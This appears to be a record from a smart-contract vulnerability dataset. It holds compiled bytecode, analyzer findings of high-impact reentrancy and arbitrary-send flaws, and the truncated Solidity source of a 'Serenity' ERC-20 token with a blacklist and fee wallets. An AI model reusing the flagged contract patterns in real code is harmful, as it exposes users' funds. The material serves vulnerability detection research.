4155b1561111d576001600660008484815181106110c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061112890614456565b915050610f4a565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611175611935565b73ffffffffffffffffffffffffffffffffffffffff161461119557600080fd5b60006111a030610c0a565b90506111ab81612ea1565b50565b6111b6611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123a90614080565b60405180910390fd5b6001601560146101000a81548160ff02191690831515021790555060784261126b9190614276565b60178190555043601681905550565b60006112a7601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b905090565b6112b4611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611341576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133890614080565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61142b611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114af90614080565b60405180910390fd5b601560149054906101000a900460ff1615611508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ff90614100565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061159830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061193d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156115de57600080fd5b505afa1580156115f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116169190613987565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561167857600080fd5b505afa15801561168c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116b09190613987565b6040518363ffffffff1660e01b81526004016116cd929190613e90565b602060405180830381600087803b1580156116e757600080fd5b505af11580156116fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171f9190613987565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306117a830610c0a565b6000806117b3610dae565b426040518863ffffffff1660e01b81526004016117d596959493929190613ee2565b6060604051808303818588803b1580156117ee57600080fd5b505af1158015611802573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118279190613b33565b505050674563918244f4000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016118df929190613eb9565b602060405180830381600087803b1580156118f957600080fd5b505af115801561190d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119319190613ae1565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a4906140e0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1490613fc0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611afb9190614140565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6f906140c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdf90613f80565b60405180910390fd5b60008111611c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c22906140a0565b60405180910390fd5b611c33610dae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca15750611c71610dae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612b1a57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d4a5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611d5357600080fd5b6001601654611d629190614276565b4311158015611d72575060105481145b15611f9157601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e235750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e85576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f90565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611f315750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f8f576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1661209e576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121495750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561219f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561272757601560149054906101000a900460ff166121f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ea90614120565b60405180910390fd5b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546122439190614276565b421115612293576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561234b57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061233190614456565b91905055506005600a819055506005600b81905550612587565b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561240357600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906123e990614456565b91905055506004600a819055506004600b81905550612586565b6002600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156124bb57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906124a190614456565b91905055506003600a819055506003600b81905550612585565b6003600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561257357600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061255990614456565b91905055506002600a819055506002600b81905550612584565b6005600a819055506005600b819055505b5b5b5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060158054906101000a900460ff1615612726574260175411156126d2576010548111156125fa57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061267e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161267590613fe0565b60405180910390fd5b602d4261268b9190614276565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f426126df9190614276565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b600061273230610c0a565b9050601560169054906101000a900460ff1615801561279f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156127b75750601560149054906101000a900460ff165b15612b185760158054906101000a900460ff16156128545742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410612853576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284a90614040565b60405180910390fd5b5b600060239050612a30600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546128aa9190614276565b4211156128ba57600a90506129e2565b610e10600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461290a9190614276565b42111561291a57600f90506129e1565b610708600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461296a9190614276565b42111561297a57601490506129e0565b61012c600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546129ca9190614276565b4211156129da57601990506129df565b602390505b5b5b5b612a09600a6129fb600484612e2690919063ffffffff16565b61319b90919063ffffffff16565b600a81905550612a36600a612a28600684612e2690919063ffffffff16565b61319b90919063ffffffff16565b600b819055506000821115612afd57612a976064612a89600c54612a7b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612e2690919063ffffffff16565b61319b90919063ffffffff16565b821115612af357612af06064612ae2600c54612ad4601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612e2690919063ffffffff16565b61319b90919063ffffffff16565b91505b612afc82612ea1565b5b60004790506000811115612b1557612b1447612c41565b5b50505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612bc15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bcb57600090505b612bd7848484846131e5565b50505050565b6000838311158290612c25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c1c9190613f5e565b60405180910390fd5b5060008385612c349190614357565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c9160028461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cbc573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d0d60048461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d38573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d8960048461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612db4573d6000803e3d6000fd5b5050565b6000600854821115612dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612df690613fa0565b60405180910390fd5b6000612e09613212565b9050612e1e818461319b90919063ffffffff16565b915050919050565b600080831415612e395760009050612e9b565b60008284612e4791906142fd565b9050828482612e5691906142cc565b14612e96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e8d90614060565b60405180910390fd5b809150505b92915050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612eff577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015612f2d5781602001602082028036833780820191505090505b5090503081600081518110612f6b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561300d57600080fd5b505afa158015613021573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130459190613987565b8160018151811061307f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506130e630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461193d565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161314a95949392919061415b565b600060405180830381600087803b15801561316457600080fd5b505af1158015613178573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60006131dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061323d565b905092915050565b806131f3576131f26132a0565b5b6131fe8484846132e3565b8061320c5761320b6134ae565b5b50505050565b600080600061321f6134c2565b91509150613236818361319b90919063ffffffff16565b9250505090565b60008083118290613284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161327b9190613f5e565b60405180910390fd5b506000838561329391906142cc565b9050809150509392505050565b6000600a541480156132b457506000600b54145b156132be576132e1565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b6000806000806000806132f587613524565b95509550955095509550955061335386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461358c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133e885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343481613634565b61343e84836136f1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161349b9190614140565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea0000090506134f8683635c9adc5dea0000060085461319b90919063ffffffff16565b82101561351757600854683635c9adc5dea00000935093505050613520565b81819350935050505b9091565b60008060008060008060008060006135418a600a54600b5461372b565b9250925092506000613551613212565b905060008060006135648e8787876137c1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006135ce83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612bdd565b905092915050565b60008082846135e59190614276565b90508381101561362a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161362190614000565b60405180910390fd5b8091505092915050565b600061363e613212565b905060006136558284612e2690919063ffffffff16565b90506136a981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6137068260085461358c90919063ffffffff16565b600881905550613721816009546135d690919063ffffffff16565b6009819055505050565b6000806000806137576064613749888a612e2690919063ffffffff16565b61319b90919063ffffffff16565b905060006137816064613773888b612e2690919063ffffffff16565b61319b90919063ffffffff16565b905060006137aa8261379c858c61358c90919063ffffffff16565b61358c90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806137da8589612e2690919063ffffffff16565b905060006137f18689612e2690919063ffffffff16565b905060006138088789612e2690919063ffffffff16565b9050600061383182613823858761358c90919063ffffffff16565b61358c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061385d613858846141f5565b6141d0565b9050808382526020820190508285602086028201111561387c57600080fd5b60005b858110156138ac578161389288826138b6565b84526020840193506020830192505060018101905061387f565b5050509392505050565b6000813590506138c5816148d1565b92915050565b6000815190506138da816148d1565b92915050565b600082601f8301126138f157600080fd5b813561390184826020860161384a565b91505092915050565b600081359050613919816148e8565b92915050565b60008151905061392e816148e8565b92915050565b600081359050613943816148ff565b92915050565b600081519050613958816148ff565b92915050565b60006020828403121561397057600080fd5b600061397e848285016138b6565b91505092915050565b60006020828403121561399957600080fd5b60006139a7848285016138cb565b91505092915050565b600080604083850312156139c357600080fd5b60006139d1858286016138b6565b92505060206139e2858286016138b6565b9150509250929050565b600080600060608486031215613a0157600080fd5b6000613a0f868287016138b6565b9350506020613a20868287016138b6565b9250506040613a3186828701613934565b9150509250925092565b60008060408385031215613a4e57600080fd5b6000613a5c858286016138b6565b9250506020613a6d85828601613934565b9150509250929050565b600060208284031215613a8957600080fd5b600082013567ffffffffffffffff811115613aa357600080fd5b613aaf848285016138e0565b91505092915050565b600060208284031215613aca57600080fd5b6000613ad88482850161390a565b91505092915050565b600060208284031215613af357600080fd5b6000613b018482850161391f565b91505092915050565b600060208284031215613b1c57600080fd5b6000613b2a84828501613934565b91505092915050565b600080600060608486031215613b4857600080fd5b6000613b5686828701613949565b9350506020613b6786828701613949565b9250506040613b7886828701613949565b9150509250925092565b6000613b8e8383613b9a565b60208301905092915050565b613ba38161438b565b82525050565b613bb28161438b565b82525050565b6000613bc382614231565b613bcd8185614254565b9350613bd883614221565b8060005b83811015613c09578151613bf08882613b82565b9750613bfb83614247565b925050600181019050613bdc565b5085935050505092915050565b613c1f8161439d565b82525050565b613c2e816143e0565b82525050565b6000613c3f8261423c565b613c498185614265565b9350613c598185602086016143f2565b613c628161452c565b840191505092915050565b6000613c7a602383614265565b9150613c858261453d565b604082019050919050565b6000613c9d602a83614265565b9150613ca88261458c565b604082019050919050565b6000613cc0602283614265565b9150613ccb826145db565b604082019050919050565b6000613ce3602283614265565b9150613cee8261462a565b604082019050919050565b6000613d06601b83614265565b9150613d1182614679565b602082019050919050565b6000613d29601583614265565b9150613d34826146a2565b602082019050919050565b6000613d4c602383614265565b9150613d57826146cb565b604082019050919050565b6000613d6f602183614265565b9150613d7a8261471a565b604082019050919050565b6000613d92602083614265565b9150613d9d82614769565b602082019050919050565b6000613db5602983614265565b9150613dc082614792565b604082019050919050565b6000613dd8602583614265565b9150613de3826147e1565b604082019050919050565b6000613dfb602483614265565b9150613e0682614830565b604082019050919050565b6000613e1e601783614265565b9150613e298261487f565b602082019050919050565b6000613e41601883614265565b9150613e4c826148a8565b602082019050919050565b613e60816143c9565b82525050565b613e6f816143d3565b82525050565b6000602082019050613e8a6000830184613ba9565b92915050565b6000604082019050613ea56000830185613ba9565b613eb26020830184613ba9565b9392505050565b6000604082019050613ece6000830185613ba9565b613edb6020830184613e57565b9392505050565b600060c082019050613ef76000830189613ba9565b613f046020830188613e57565b613f116040830187613c25565b613f1e6060830186613c25565b613f2b6080830185613ba9565b613f3860a0830184613e57565b979650505050505050565b6000602082019050613f586000830184613c16565b92915050565b60006020820190508181036000830152613f788184613c34565b905092915050565b60006020820190508181036000830152613f9981613c6d565b9050919050565b60006020820190508181036000830152613fb981613c90565b9050919050565b60006020820190508181036000830152613fd981613cb3565b9050919050565b60006020820190508181036000830152613ff981613cd6565b9050919050565b6000602082019050818103600083015261401981613cf9565b9050919050565b6000602082019050818103600083015261403981613d1c565b9050919050565b6000602082019050818103600083015261405981613d3f565b9050919050565b6000602082019050818103600083015261407981613d62565b9050919050565b6000602082019050818103600083015261409981613d85565b9050919050565b600060208201905081810360008301526140b981613da8565b9050919050565b600060208201905081810360008301526140d981613dcb565b9050919050565b600060208201905081810360008301526140f981613dee565b9050919050565b6000602082019050818103600083015261411981613e11565b9050919050565b6000602082019050818103600083015261413981613e34565b9050919050565b60006020820190506141556000830184613e57565b92915050565b600060a0820190506141706000830188613e57565b61417d6020830187613c25565b818103604083015261418f8186613bb8565b905061419e6060830185613ba9565b6141ab6080830184613e57565b9695505050505050565b60006020820190506141ca6000830184613e66565b92915050565b60006141da6141eb565b90506141e68282614425565b919050565b6000604051905090565b600067ffffffffffffffff8211156142105761420f6144fd565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614281826143c9565b915061428c836143c9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156142c1576142c061449f565b5b828201905092915050565b60006142d7826143c9565b91506142e2836143c9565b9250826142f2576142f16144ce565b5b828204905092915050565b6000614308826143c9565b9150614313836143c9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561434c5761434b61449f565b5b828202905092915050565b6000614362826143c9565b915061436d836143c9565b9250828210156143805761437f61449f565b5b828203905092915050565b6000614396826143a9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006143eb826143c9565b9050919050565b60005b838110156144105780820151818401526020810190506143f5565b8381111561441f576000848401525b50505050565b61442e8261452c565b810181811067ffffffffffffffff8211171561444d5761444c6144fd565b5b80604052505050565b6000614461826143c9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156144945761449361449f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6148da8161438b565b81146148e557600080fd5b50565b6148f18161439d565b81146148fc57600080fd5b50565b614908816143c9565b811461491357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220547f472584747e087171ab8938f065963a67af8bab84d1c5836d4aef943cd91564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,018
0xa43b839fb9be8b4c77d5cc53fda7e43835f3fa72
/** */ /** Telegram: https://t.me/SerenityPortal Website: https://www.serenityeth.com Twitter: https://twitter.com/SerenityErc /** /** //SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Serenity is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Serenity"; string private constant _symbol = "Serenity"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xa3CaA142E215A1dbBb2B8978312108E4A9026147); _feeAddrWallet2 = payable(0xE181AF48EaC0bFFfad7ACd3935EC3B446ec3fF72); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(this), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string 